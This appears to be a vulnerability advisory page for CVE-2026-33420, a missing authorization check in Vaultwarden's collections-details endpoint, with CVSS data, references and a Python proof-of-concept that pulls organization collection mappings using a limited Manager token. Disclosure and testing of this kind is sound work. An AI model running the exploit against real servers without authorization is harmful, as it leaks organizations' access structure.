CVE-2026-33420

Description

Vaultwarden is a Bitwarden-compatible server written in Rust. In version 1.35.4 and earlier, the get_org_collections_details endpoint (GET /api/organizations/{org_id}/collections/details) is missing the has_full_access() authorization check that exists on the sibling get_org_collections endpoint. This allows any Manager-role user with accessAll=False and no collection assignments to retrieve the names, UUIDs, user-to-collection mappings, and group-to-collection mappings for all collections in the organization. This issue has been fixed in version 1.35.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:dani-garcia:vaultwarden:*:*:*:*:*:*:*:* - VULNERABLE

Vaultwarden <= 1.35.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
TARGET_URL = "https://<vaultwarden-host>/api/organizations/{org_id}/collections/details"
AUTH_TOKEN = "<manager_access_token>" # Token for a Manager with limited access
ORG_ID = "<target_organization_uuid>"

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Content-Type": "application/json"
}

# Exploit: Access collections details without full access permission
try:
    response = requests.get(TARGET_URL.replace("{org_id}", ORG_ID), headers=headers)
    
    if response.status_code == 200:
        print("[+] Vulnerability Exploited Successfully!")
        print("[+] Leaked Organization Data:")
        print(response.json())
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33420
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33420
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33420/
[4] VulDB https://vuldb.com/cve/CVE-2026-33420
[5] https://github.com/dani-garcia/vaultwarden/releases/tag/1.35.5
[6] https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-jjxg-p3v6-52ww

Raw JSON Data

JSON

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